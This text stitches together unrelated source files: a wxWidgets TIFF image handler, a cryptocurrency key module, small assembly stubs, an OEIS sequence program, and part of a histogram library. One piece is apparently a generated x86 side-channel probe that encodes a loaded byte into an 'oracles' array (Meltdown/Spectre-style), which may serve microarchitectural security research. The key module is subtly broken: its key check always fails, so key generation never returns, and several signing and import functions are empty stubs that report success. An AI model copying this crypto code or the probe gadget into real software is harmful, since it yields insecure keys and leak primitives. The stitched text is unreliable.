) { if (index == -1) index = 0; image->Destroy(); TIFF *tif = TIFFwxOpen( stream, "image", "r" ); if (!tif) { if (verbose) { wxLogError( _("TIFF: Error loading image.") ); } return false; } if (!TIFFSetDirectory( tif, (tdir_t)index )) { if (verbose) { wxLogError( _("Invalid TIFF image index.") ); } TIFFClose( tif ); return false; } uint32 w, h; uint32 *raster; TIFFGetField( tif, TIFFTAG_IMAGEWIDTH, &w ); TIFFGetField( tif, TIFFTAG_IMAGELENGTH, &h ); uint16 samplesPerPixel = 0; (void) TIFFGetFieldDefaulted(tif, TIFFTAG_SAMPLESPERPIXEL, &samplesPerPixel); uint16 bitsPerSample = 0; (void) TIFFGetFieldDefaulted(tif, TIFFTAG_BITSPERSAMPLE, &bitsPerSample); uint16 extraSamples; uint16* samplesInfo; TIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES, &extraSamples, &samplesInfo); uint16 photometric; if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric)) { photometric = PHOTOMETRIC_MINISWHITE; } const bool hasAlpha = (extraSamples >= 1 && ((samplesInfo[0] == EXTRASAMPLE_UNSPECIFIED) || samplesInfo[0] == EXTRASAMPLE_ASSOCALPHA || samplesInfo[0] == EXTRASAMPLE_UNASSALPHA)) || (extraSamples == 0 && samplesPerPixel == 4 && photometric == PHOTOMETRIC_RGB); // guard against integer overflow during multiplication which could result // in allocating a too small buffer and then overflowing it const double bytesNeeded = (double)w * (double)h * sizeof(uint32); if ( bytesNeeded >= wxUINT32_MAX ) { if ( verbose ) { wxLogError( _("TIFF: Image size is abnormally big.") ); } TIFFClose(tif); return false; } raster = (uint32*) _TIFFmalloc( (uint32)bytesNeeded ); if (!raster) { if (verbose) { wxLogError( _("TIFF: Couldn't allocate memory.") ); } TIFFClose( tif ); return false; } image->Create( (int)w, (int)h ); if (!image->IsOk()) { if (verbose) { wxLogError( _("TIFF: Couldn't allocate memory.") ); } _TIFFfree( raster ); TIFFClose( tif ); return false; } if ( hasAlpha ) image->SetAlpha(); uint16 planarConfig = PLANARCONFIG_CONTIG; (void) TIFFGetField(tif, TIFFTAG_PLANARCONFIG, &planarConfig); bool ok = true; char msg[1024] = ""; if ( (planarConfig == PLANARCONFIG_CONTIG && samplesPerPixel == 2 && extraSamples == 1) && ( ( !TIFFRGBAImageOK(tif, msg) ) || (bitsPerSample == 8) ) ) { const bool isGreyScale = (bitsPerSample == 8); unsigned char *buf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(tif)); uint32 pos = 0; const bool minIsWhite = (photometric == PHOTOMETRIC_MINISWHITE); const int minValue = minIsWhite ? 255 : 0; const int maxValue = 255 - minValue; /* Decode to ABGR format as that is what the code, that converts to wxImage, later on expects (normally TIFFReadRGBAImageOriented is used to decode which uses an ABGR layout). */ for (uint32 y = 0; y < h; ++y) { if (TIFFReadScanline(tif, buf, y, 0) != 1) { ok = false; break; } if (isGreyScale) { for (uint32 x = 0; x < w; ++x) { uint8 val = minIsWhite ? 255 - buf[x*2] : buf[x*2]; uint8 alpha = minIsWhite ? 255 - buf[x*2+1] : buf[x*2+1]; raster[pos] = val + (val << 8) + (val << 16) + (alpha << 24); pos++; } } else { for (uint32 x = 0; x < w; ++x) { int mask = buf[x*2/8] << ((x*2)%8); uint8 val = mask & 128 ? maxValue : minValue; raster[pos] = val + (val << 8) + (val << 16) + ((mask & 64 ? maxValue : minValue) << 24); pos++; } } } _TIFFfree(buf); } else { ok = TIFFReadRGBAImageOriented( tif, w, h, raster, ORIENTATION_TOPLEFT, 0 ) != 0; } if (!ok) { if (verbose) { wxLogError( _("TIFF: Error reading image.") ); } _TIFFfree( raster ); image->Destroy(); TIFFClose( tif ); return false; } unsigned char *ptr = image->GetData(); unsigned char *alpha = image->GetAlpha(); uint32 pos = 0; for (uint32 i = 0; i < h; i++) { for (uint32 j = 0; j < w; j++) { *(ptr++) = (unsigned char)TIFFGetR(raster[pos]); *(ptr++) = (unsigned char)TIFFGetG(raster[pos]); *(ptr++) = (unsigned char)TIFFGetB(raster[pos]); if ( hasAlpha ) *(alpha++) = (unsigned char)TIFFGetA(raster[pos]); pos++; } } image->SetOption(wxIMAGE_OPTION_TIFF_PHOTOMETRIC, photometric); uint16 compression; /* Copy some baseline TIFF tags which helps when re-saving a TIFF to be similar to the original image. */ if (samplesPerPixel) { image->SetOption(wxIMAGE_OPTION_TIFF_SAMPLESPERPIXEL, samplesPerPixel); } if (bitsPerSample) { image->SetOption(wxIMAGE_OPTION_TIFF_BITSPERSAMPLE, bitsPerSample); } if ( TIFFGetFieldDefaulted(tif, TIFFTAG_COMPRESSION, &compression) ) { image->SetOption(wxIMAGE_OPTION_TIFF_COMPRESSION, compression); } // Set the resolution unit. wxImageResolution resUnit = wxIMAGE_RESOLUTION_NONE; uint16 tiffRes; if ( TIFFGetFieldDefaulted(tif, TIFFTAG_RESOLUTIONUNIT, &tiffRes) ) { switch (tiffRes) { default: wxLogWarning(_("Unknown TIFF resolution unit %d ignored"), tiffRes); wxFALLTHROUGH; case RESUNIT_NONE: resUnit = wxIMAGE_RESOLUTION_NONE; break; case RESUNIT_INCH: resUnit = wxIMAGE_RESOLUTION_INCHES; break; case RESUNIT_CENTIMETER: resUnit = wxIMAGE_RESOLUTION_CM; break; } } image->SetOption(wxIMAGE_OPTION_RESOLUTIONUNIT, resUnit); /* Set the image resolution if it's available. Resolution tag is not dependent on RESOLUTIONUNIT != RESUNIT_NONE (according to TIFF spec). */ float resX, resY; if ( TIFFGetField(tif, TIFFTAG_XRESOLUTION, &resX) ) { /* Use a string value to not lose precision. rounding to int as cm and then converting to inch may result in whole integer rounding error, eg. 201 instead of 200 dpi. If an app wants an int, GetOptionInt will convert and round down. */ image->SetOption(wxIMAGE_OPTION_RESOLUTIONX, wxString::FromCDouble((double) resX)); } if ( TIFFGetField(tif, TIFFTAG_YRESOLUTION, &resY) ) { image->SetOption(wxIMAGE_OPTION_RESOLUTIONY, wxString::FromCDouble((double) resY)); } _TIFFfree( raster ); TIFFClose( tif ); return true; } int wxTIFFHandler::DoGetImageCount( wxInputStream& stream ) { TIFF *tif = TIFFwxOpen( stream, "image", "r" ); if (!tif) return 0; int dircount = 0; // according to the libtiff docs, dircount should be set to 1 here??? do { dircount++; } while (TIFFReadDirectory(tif)); TIFFClose( tif ); // NOTE: this function modifies the current stream position but it's ok // (see wxImageHandler::GetImageCount) return dircount; } bool wxTIFFHandler::SaveFile( wxImage *image, wxOutputStream& stream, bool verbose ) { TIFF *tif = TIFFwxOpen( stream, "image", "w" ); if (!tif) { if (verbose) { wxLogError( _("TIFF: Error saving image.") ); } return false; } const int imageWidth = image->GetWidth(); TIFFSetField(tif, TIFFTAG_IMAGEWIDTH, (uint32) imageWidth); TIFFSetField(tif, TIFFTAG_IMAGELENGTH, (uint32)image->GetHeight()); TIFFSetField(tif, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT); TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG); // save the image resolution if we have it int xres, yres; const wxImageResolution res = GetResolutionFromOptions(*image, &xres, &yres); uint16 tiffRes; switch ( res ) { default: wxFAIL_MSG( wxT("unknown image resolution units") ); wxFALLTHROUGH; case wxIMAGE_RESOLUTION_NONE: tiffRes = RESUNIT_NONE; break; case wxIMAGE_RESOLUTION_INCHES: tiffRes = RESUNIT_INCH; break; case wxIMAGE_RESOLUTION_CM: tiffRes = RESUNIT_CENTIMETER; break; } if ( tiffRes != RESUNIT_NONE ) { TIFFSetField(tif, TIFFTAG_RESOLUTIONUNIT, tiffRes); TIFFSetField(tif, TIFFTAG_XRESOLUTION, (float)xres); TIFFSetField(tif, TIFFTAG_YRESOLUTION, (float)yres); } int spp = image->GetOptionInt(wxIMAGE_OPTION_TIFF_SAMPLESPERPIXEL); if ( !spp ) spp = 3; int bps = image->GetOptionInt(wxIMAGE_OPTION_TIFF_BITSPERSAMPLE); if ( !bps ) { bps = 8; } else if (bps == 1) { // One bit per sample combined with 3 samples per pixel is // not allowed and crashes libtiff. spp = 1; } int photometric = PHOTOMETRIC_RGB; if ( image->HasOption(wxIMAGE_OPTION_TIFF_PHOTOMETRIC) ) { photometric = image->GetOptionInt(wxIMAGE_OPTION_TIFF_PHOTOMETRIC); if (photometric == PHOTOMETRIC_MINISWHITE || photometric == PHOTOMETRIC_MINISBLACK) { // either b/w or greyscale spp = 1; } } else if (spp <= 2) { photometric = PHOTOMETRIC_MINISWHITE; } const bool hasAlpha = image->HasAlpha(); int compression = image->GetOptionInt(wxIMAGE_OPTION_TIFF_COMPRESSION); if ( !compression || (compression == COMPRESSION_JPEG && hasAlpha) ) { // We can't use COMPRESSION_LZW because current version of libtiff // doesn't implement it ("no longer implemented due to Unisys patent // enforcement") and other compression methods are lossy so we // shouldn't use them by default -- and the only remaining one is none. // Also JPEG compression for alpha images is not a good idea (viewers // not opening the image properly). compression = COMPRESSION_NONE; } if ( (photometric == PHOTOMETRIC_RGB && spp == 4) || (photometric <= PHOTOMETRIC_MINISBLACK && spp == 2) ) { // Compensate for user passing a SamplesPerPixel that includes // the alpha channel. spp--; } int extraSamples = hasAlpha ? 1 : 0; TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, spp + extraSamples); TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(tif, TIFFTAG_PHOTOMETRIC, photometric); TIFFSetField(tif, TIFFTAG_COMPRESSION, compression); if (extraSamples) { uint16 extra[] = { EXTRASAMPLE_UNSPECIFIED }; TIFFSetField(tif, TIFFTAG_EXTRASAMPLES, (long) 1, &extra); } // scanlinesize is determined by spp+extraSamples and bps const tsize_t linebytes = (tsize_t)((imageWidth * (spp + extraSamples) * bps + 7) / 8); unsigned char *buf; const bool isColouredImage = (spp > 1) && (photometric != PHOTOMETRIC_MINISWHITE) && (photometric != PHOTOMETRIC_MINISBLACK); if (TIFFScanlineSize(tif) > linebytes || !isColouredImage || hasAlpha) { buf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(tif)); if (!buf) { if (verbose) { wxLogError( _("TIFF: Couldn't allocate memory.") ); } TIFFClose( tif ); return false; } } else { buf = NULL; } TIFFSetField(tif, TIFFTAG_ROWSPERSTRIP,TIFFDefaultStripSize(tif, (uint32) -1)); const int bitsPerPixel = (spp + extraSamples) * bps; const int bytesPerPixel = (bitsPerPixel + 7) / 8; const int pixelsPerByte = 8 / bitsPerPixel; int remainingPixelCount = 0; if (pixelsPerByte) { // How many pixels to write in the last byte column? remainingPixelCount = imageWidth % pixelsPerByte; if (!remainingPixelCount) remainingPixelCount = pixelsPerByte; } const bool minIsWhite = (photometric == PHOTOMETRIC_MINISWHITE); unsigned char *ptr = image->GetData(); for ( int row = 0; row < image->GetHeight(); row++ ) { if ( buf ) { if (isColouredImage) { // colour image if (hasAlpha) { for ( int column = 0; column < imageWidth; column++ ) { buf[column*4 ] = ptr[column*3 ]; buf[column*4 + 1] = ptr[column*3 + 1]; buf[column*4 + 2] = ptr[column*3 + 2]; buf[column*4 + 3] = image->GetAlpha(column, row); } } else { memcpy(buf, ptr, imageWidth * 3); } } else if (spp * bps == 8) // greyscale image { for ( int column = 0; column < imageWidth; column++ ) { uint8 value = ptr[column*3 + 1]; if (minIsWhite) { value = 255 - value; } buf[column * bytesPerPixel] = value; if (hasAlpha) { value = image->GetAlpha(column, row); buf[column*bytesPerPixel+1] = minIsWhite ? 255 - value : value; } } } else // black and white image { for ( int column = 0; column < linebytes; column++ ) { uint8 reverse = 0; int pixelsPerByteCount = (column + 1 != linebytes) ? pixelsPerByte : remainingPixelCount; for ( int bp = 0; bp < pixelsPerByteCount; bp++ ) { if ( (ptr[column * 3 * pixelsPerByte + bp*3 + 1] <=127) == minIsWhite ) { // check only green as this is sufficient reverse |= (uint8) (128 >> (bp * bitsPerPixel)); } if (hasAlpha && (image->GetAlpha(column * pixelsPerByte + bp, row) <= 127) == minIsWhite) { reverse |= (uint8) (64 >> (bp * bitsPerPixel)); } } buf[column] = reverse; } } } if ( TIFFWriteScanline(tif, buf ? buf : ptr, (uint32)row, 0) < 0 ) { if (verbose) { wxLogError( _("TIFF: Error writing image.") ); } TIFFClose( tif ); if (buf) _TIFFfree(buf); return false; } ptr += imageWidth * 3; } (void) TIFFClose(tif); if (buf) _TIFFfree(buf); return true; } bool wxTIFFHandler::DoCanRead( wxInputStream& stream ) { unsigned char hdr[2]; if ( !stream.Read(&hdr[0], WXSIZEOF(hdr)) ) // it's ok to modify the stream position here return false; return (hdr[0] == 'I' && hdr[1] == 'I') || (hdr[0] == 'M' && hdr[1] == 'M'); } #endif // wxUSE_STREAMS /*static*/ wxVersionInfo wxTIFFHandler::GetLibraryVersionInfo() { int major, minor, micro; const wxString ver(::TIFFGetVersion()); if ( wxSscanf(ver, "LIBTIFF, Version %d.%d.%d", &major, &minor, &micro) != 3 ) { wxLogDebug("Unrecognized libtiff version string \"%s\"", ver); major = minor = micro = 0; } wxString copyright; const wxString desc = ver.BeforeFirst('\n', &copyright); copyright.Replace("\n", wxString()); return wxVersionInfo("libtiff", major, minor, micro, desc, copyright); } #endif // wxUSE_LIBTIFF
// Copyright (c) 2009-2017 The Bitcoin developers // Copyright (c) 2017 The PIVX developers // Copyright (c) 2018 The Tessacoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "key.h" #include "crypto/common.h" //#include "crypto/hmac_sha512.h" #include "random.h" #include "uint256.h" namespace ecdsa { bool CKey::Check(const uint8_t* vch) { return false; } void CKey::MakeNewKey(bool fCompressedIn) { uint8_t keydata[bls::PrivateKey::PRIVATE_KEY_SIZE]; do { GetRandBytes(keydata, bls::PrivateKey::PRIVATE_KEY_SIZE); } while (!Check(keydata)); PK = bls::PrivateKey::FromSeed(keydata, bls::PrivateKey::PRIVATE_KEY_SIZE); } bool CKey::SetPrivKey(const CPrivKey& privkey, bool fCompressedIn) { // if (!ec_privkey_import_der(secp256k1_context_sign, (uint8_t*)begin(), &privkey[0], privkey.size())) return false; return true; } uint256 CKey::GetPrivKey_256() { uint8_t keydata[bls::PrivateKey::PRIVATE_KEY_SIZE]; PK.Serialize(keydata); uint256* key_256 = (uint256*)keydata; return *key_256; } CPrivKey CKey::GetPrivKey() const { assert(IsValid()); CPrivKey privkey; // TBD!!!! return privkey; } CPubKey CKey::GetPubKey() const { assert(IsValid()); //bls::PublicKey tmp_result = PK.GetPublicKey(); // Wrap to CPubKey.... CPubKey result; return result; } bool CKey::Sign(const uint256& hash, std::vector<uint8_t>& vchSig) const { /// First Sign, bls::Signature sig = PK.Sign(hash.begin(), 32); uint8_t sigBytes[bls::Signature::SIGNATURE_SIZE]; // 96 byte array sig.Serialize(sigBytes); vchSig.resize(bls::Signature::SIGNATURE_SIZE); for (size_t i=0;i<bls::Signature::SIGNATURE_SIZE;i++) vchSig[i] = sigBytes[i]; // Then Verify return sig.Verify(); } // Verify that this public key belong to this private Key bool CKey::VerifyPubKey(const CPubKey& pubkey) const { return (pubkey == GetPubKey()); // Check after GetPubKey is fixed } bool CKey::Derive(CKey& keyChild, ChainCode& ccChild, unsigned int nChild, const ChainCode& cc) const { return true; } }
GLOBAL _call_int80 _call_int80: push rbp mov rbp, rsp int 80h leave ret
; A214304: Expansion of phi(q) + phi(q^2) - phi(q^4) in powers of q where phi() is a Ramanujan theta function. ; 1,2,2,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0 dif $0,2 cal $0,122 ; Expansion of Jacobi theta function theta_3(x) = Sum_{m =-inf..inf} x^(m^2) (number of integer solutions to k^2 = n). mov $1,$0
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x4480, %rsi nop nop nop nop nop and %r11, %r11 mov (%rsi), %ecx nop nop nop nop inc %rcx lea addresses_WT_ht+0x14da8, %r12 nop nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %r9 movq %r9, (%r12) nop nop xor $10698, %rdx lea addresses_normal_ht+0x3662, %rcx nop nop nop nop add $340, %rbp movl $0x61626364, (%rcx) nop sub $11872, %r11 lea addresses_UC_ht+0x1e040, %rsi lea addresses_UC_ht+0x10a67, %rdi nop nop nop cmp %r11, %r11 mov $62, %rcx rep movsl nop nop nop nop nop and $53939, %r11 lea addresses_A_ht+0x198c0, %rsi lea addresses_WT_ht+0x1c240, %rdi clflush (%rsi) nop nop nop nop nop cmp $35032, %rdx mov $119, %rcx rep movsw nop nop nop nop nop inc %rcx lea addresses_UC_ht+0x11538, %rcx clflush (%rcx) xor %r12, %r12 movl $0x61626364, (%rcx) nop nop nop add %r12, %r12 lea addresses_WC_ht+0x11740, %rsi nop nop nop nop cmp $57100, %rdx mov (%rsi), %cx nop xor %r12, %r12 lea addresses_normal_ht+0xe040, %rcx nop nop nop add %rdx, %rdx mov (%rcx), %r12d nop dec %r9 lea addresses_WC_ht+0xe340, %r9 add $56621, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%r9) nop add $21626, %r9 lea addresses_UC_ht+0x12440, %rsi lea addresses_WT_ht+0xce40, %rdi nop nop nop and %rbp, %rbp mov $91, %rcx rep movsl nop lfence lea addresses_WC_ht+0x14140, %rcx xor %r11, %r11 mov (%rcx), %esi nop nop sub %rsi, %rsi lea addresses_UC_ht+0x6c00, %rsi lea addresses_WT_ht+0x1aac0, %rdi clflush (%rdi) nop xor $4955, %r12 mov $1, %rcx rep movsl nop nop cmp $48456, %r9 lea addresses_UC_ht+0x13e9c, %rdi nop nop nop nop nop add $49219, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm3 movups %xmm3, (%rdi) nop nop nop inc %rdx lea addresses_A_ht+0x15e64, %rsi lea addresses_normal_ht+0xe6bc, %rdi nop nop nop add $6335, %r11 mov $53, %rcx rep movsl dec %rbp lea addresses_UC_ht+0x9410, %rsi nop nop dec %r11 mov $0x6162636465666768, %r12 movq %r12, (%rsi) nop nop add $41357, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %rsi // Faulty Load lea addresses_D+0x9040, %r10 nop nop nop nop nop xor $57579, %rsi mov (%r10), %r15 lea oracles, %r11 and $0xff, %r15 shlq $12, %r15 mov (%r11,%r15,1), %r15 pop %rsi pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': True, 'size': 8, 'congruent': 2, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': True, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
/* * Copyright (c) Facebook, Inc. and its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* numeric histograms */ #include <stdint.h> #include <stdlib.h> // malloc() #include <float.h> #include <string.h> // memset() // see comment about isfinite() below #ifdef USE_CXX11 #include <cmath> #else #include <math.h> #endif #include <errno.h> #include <algorithm> // min, max #include "wam.h" #include "wam_hist.h" #include "wam_hashtbl.h" // histogram results (lazily allocated below) // TODO: this is never free'd static binned_result *res = NULL; // capacity: max number of bins across all requested histograms; making sure // we have enough bins in the output array static int bins_cap = 0; // data distribution info shared between several histograms, e.g. those that // belong to different group-by groups; we need it so that we could align // bins of group'd histograms for visual comparison struct wam_distr { uint64_t count; double min, max; }; struct wam_hist { // config int size; double bin_width; // 0 means undefined double config_min, config_max; bool is_fixed_bins; // runtime wam_distr_t distr; wam_distr_t *merged_distr; // distribution info merged across all group-by groups uint64_t left_count, right_count; // counts of values falling outside of the histogram range // used when is_fixed_bins = false wam_hashtbl_t *hashtbl; // used when is_fixed_bins = true uint64_t *bins; }; static inline void distr_init(wam_distr_t *d) { d->count = 0; d->min = DBL_MAX; d->max = -DBL_MAX; } static inline void distr_update(wam_distr_t *d, double value) { d->count++; d->min = std::min(d->min, value); d->max = std::max(d->max, value); } static inline void distr_merge(wam_distr_t *d, wam_distr_t *accu) { accu->count += d->count; accu->min = std::min(accu->min, d->min); accu->max = std::max(accu->max, d->max); } wam_distr_t *wam_hist_update_distr(wam_hist_t *h, wam_distr_t *accu) { // lazily allocate if (!accu) { // TODO: this is never free'd accu = new wam_distr; distr_init(accu); } distr_merge(&h->distr, accu); h->merged_distr = accu; return accu; } wam_hist_t *wam_hist_init(int size, double config_min, double config_max, double bin_width) { wam_hist_t *h = new wam_hist; h->size = size; h->bin_width = bin_width; h->config_min = config_min; h->config_max = config_max; distr_init(&h->distr); h->merged_distr = NULL; h->left_count = h->right_count = 0; // the historgram's bins are known if both MIN and MAX bounds are defined if (config_min != -DBL_MAX && config_max != DBL_MAX) { h->is_fixed_bins = true; h->bins = new uint64_t[size]; if (h->bin_width == 0.0) h->bin_width = (config_max - config_min) / size; memset(h->bins, 0, size*sizeof(uint64_t)); } else { h->is_fixed_bins = false; h->hashtbl = wam_hashtbl_init_unique_values(); } // update the max capacity value bins_cap = std::max(bins_cap, size); return h; } // calculate bin index inline static int bin_index(int size, double bin_width, double min, double max, double value) { if (value == max) // XXX: max belongs to the last bin, not last + 1 return size - 1; else return (value - min) / bin_width; } void wam_hist_update(wam_hist_t *h, double value, int weight) { // XXX: discarding NaNs and Infinities as there's no reasonable way to // interpret them in histogram; in fact, there shouldn't be any of these in // client's data #ifdef USE_CXX11 /* make gcc on FB devserver happy, not sure why it is complaining about * standard C function */ if (!std::isfinite(value)) return; #else if (!isfinite(value)) return; #endif // keep track of outliers, i.e. points falling outside of the histogram // range if (value > h->config_max) { h->right_count += weight; return; } if (value < h->config_min) { h->left_count += weight; return; } if (h->is_fixed_bins) { int i = bin_index(h->size, h->bin_width, h->config_min, h->config_max, value); h->bins[i] += weight; } else { distr_update(&h->distr, value); wam_hashtbl_update_unique_values(h->hashtbl, value, weight); } } binned_result_t *wam_hist_return(wam_hist_t *h) { wam_distr_t *distr = (h->merged_distr)? h->merged_distr : &h->distr; if (!distr->count && !h->is_fixed_bins) return NULL; // no values - empty histogram /* lazily 